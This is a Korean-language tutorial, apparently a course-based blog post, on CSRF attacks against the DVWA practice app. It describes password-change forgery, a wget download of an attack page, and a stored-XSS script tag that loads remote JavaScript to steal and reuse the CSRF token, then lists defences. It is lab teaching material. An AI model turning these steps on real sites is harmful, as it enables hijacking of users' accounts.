Covenant

본 포스트는 https://www.udemy.com/의 강좌 화이트헤커가 되기 위한 8가지 웹 해킹 기술 강좌를 바탕으로 작성했습니다.



CSRF 공격이란?

CSRF란 Cross Site Request Forgery의 약자로 사이트 간 요청 위조라고 번역할 수있다. 해커가 사용자에게 피싱해서 링크를 누르게 하고 링크를 누르면 사용자 몰래 실행하는 것이다. 주로 비밀번호 바꾸는데 사용한다. 08년 1080만 명의 개인정보가 유출되었던 옥션 해킹사건에 사용된 공격기법이다.


[공격 시나리오]

사용자가 사이트에 정상적으로 접속하고 로그인한다. 사용자가 사이트에 접속했을 때 해커가 이메일을 보내서 링크를 클릭하도록 메일을 보낸다. 은행 직원인 것처럼 클릭해서 보안강화를 하세요. 이렇게 보낸다. 사용자가 링크를 클릭하면, 사이트에 해커가 지정한 비밀번호로 변경하라는 요청이 사용자 모르게 자동으로 전송된다. 자기도 모르는 사이에 웹 사이트에 패스워드가 변경된다. 이후 해커는 변경된 비밀번호를 바탕으로 사용자 계정으로 접근할 수 있다. 해커가 전송한 링크를 누르는 시점이 공격을 시도하는 웹 페이지에 로그인 했을 경우이지만, 일반적인 유저는 웹 페이지를 여러 개 탭으로 열어놓고 사용하는 요즘 환경에 더욱 취약하다.

 

Low Level

CSRF에서 비밀번호를 바꾼다. 그리고 버프스위스트에서 proxy, http history에서 확인

GET으로 비밀번호 값이 전달되는 것을 알 수 있다.

wget https://raw.githubusercontent.com/SecuAcademy/webhacking/master/csrf.html 예제 다운로드

cp csrf.html /opt/lampp/htdocs/

본 파일은 ajax 로 공격이 성공했을 때 지정된 비밀번호로 변경한다.

버프스위스트에서 ctrl로 http history상에서 다른 host를 누르고 send to comparer(request)를 누르면 comparer 탭에서 words를 통해 비교할 수 있다.

127.0.0.1 : 해커 사이트

localhost : dvwa


Medium Level

CSRF 해킹 시도 후

HTTP history -> Responser -> Render

다운로드 중....


High Level

user_token : 웹 페이지가 변경 될 때마다 토큰이 변경된다.

Proxy -> Intercept -> Intercept is on

유저 토큰이 전달되는 것을 볼 수 있다. CSRF 토큰을 변경하면 DVWA창에서 CSRF token is incorrect라고 나온다.

사용자가 정상적인 경로로 접근 할 때 토큰 값이 정상적으로 전달된다. 따라서 페스워드 변경이 정상적인 경로를 통해서 왔다는 것을 알 수 있다.

자동으로 토큰을 가져오고 자동으로 요청을 보낼 수 있도록 만들 수 있다.


Git에서 csrfhigh.js 파일을 가져와서 /opt/lampp/htdocs/ 경로에 복사한다.


csrf메뉴를 누를 때 발생하는 요청

req에서 CSRF토큰을 뽑아낸다.

2번째 요청에 보낸다.


low로 설정 -> XSS(Stored) -> <script src=http://127.0.0.1/csrfhigh.js></script>->High로 설정  

XSS(Stored)에 접근하면 스크립트가 실행된다.



Impossible단계를 통한 CSRF 공격대응

현재 password를 확인차 물어본다. 그러면 해커는 기존 password를 알고 있지 않는 이상 CSRF공격을 할 수 없다.

중요한 기능에는 한 번 더 확인하던가, 켓차 검사를 하는 것이다. 관리자 권한 같은 경우 CSRF같은 공격의 대비책이 마련 되야 한다.